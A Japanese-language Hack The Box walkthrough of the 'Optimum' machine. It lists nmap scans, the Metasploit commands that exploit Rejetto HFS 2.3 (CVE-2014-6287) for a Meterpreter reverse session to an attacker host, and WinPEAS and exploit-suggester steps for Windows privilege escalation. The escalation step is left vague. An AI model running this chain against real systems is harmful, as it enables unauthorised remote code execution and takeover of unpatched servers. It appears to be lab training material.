Hack The Box の Optimum マシンの Writeup です。このウォークスルーでは、Rejetto HttpFileServer 2.3（CVE-2014-6287）の悪用による初期アクセスの取得から、列挙テクニックとポストエクスプロイテーションツールを使用した Windows ホスト上での権限昇格までを解説します。
このマシンでは、脆弱なWebサービスを悪用してWindowsホストへの初期アクセスを獲得し、その後権限を昇格して管理者フラグを取得することが目的です。
攻撃経路は以下のとおりです。
公開されているサービスを特定するために、フルTCPポートスキャンから開始します。
nmap -Pn -n -p- --min-rate 5000 -T4 <TARGET_IP>
スキャンにより ポート80 が開いていることが判明します。
次に、サービスとバージョンのスキャンを実行します。
nmap -p80 -sSCV --min-rate 5000 -T4 <TARGET_IP>
結果として、以下のサービスが特定されます。
HttpFileServer 2.3
このサービスは、軽量なファイル共有Webサーバーである Rejetto HTTP File Server に該当します。
検出されたバージョンを調査した結果、既知の脆弱性を発見します。
CVE-2014-6287
この脆弱性は、不適切な入力サニタイズにより リモートコード実行 を可能にします。
脆弱性を悪用するために、Metasploit を使用します。
Metasploit を起動します:
msfconsole -q
適切なモジュールを検索します:
search rejetto
エクスプロイトモジュールを読み込みます:
use exploit/windows/http/rejetto_hfs_exec
必要なオプションを設定します:
set RHOSTS <TARGET_IP>
set RPORT <TARGET_PORT>
set LHOST <ATTACKER_IP>
set LPORT <ATTACKER_PORT>
run
実行すると、エクスプロイトはターゲットマシン上に Meterpreter セッション を提供します。
取得した Meterpreter セッションを使用して、ファイルシステムを移動し、ユーザーフラグ を取得します。
cd
cat user.txt
whoami
コマンド出力から、次のユーザーとしてログインしていることがわかります。
kostas
このユーザーには管理者権限がないため、権限昇格 に進みます。
潜在的な権限昇格ベクターを特定するために、よく知られたWindows権限昇格列挙ツールである WinPEAS をアップロードします。
upload /usr/share/peass/winpeas/winPEAS.exe C:\Users\kostas\Desktop\wp.exe
次に、それを実行します:
shell
.\wp.exe
出力には、ユーザー kostas に関連する資格情報を含む有用な情報が示されます。
可能な昇格ベクターを確認した後、以下の Metasploit モジュールを使用します。
local_exploit_suggester
モジュールを読み込みます:
use post/multi/recon/local_exploit_suggester
セッションを設定します:
set SESSION <SESSION_NUMBER>
run
このモジュールは、権限昇格に使用できる可能性のあるローカルエクスプロイトを提案します。
権限昇格に成功すると、管理者権限を持つシェルを取得します。
検証:
shell
whoami
管理者権限を取得したら、Administrator ディレクトリに移動して ルートフラグ を取得します。
cd \Users\Administrator
dir
cd Desktop
dir
type root.txt
このマシンは、いくつかの重要なペネトレーションテストの概念を示しています。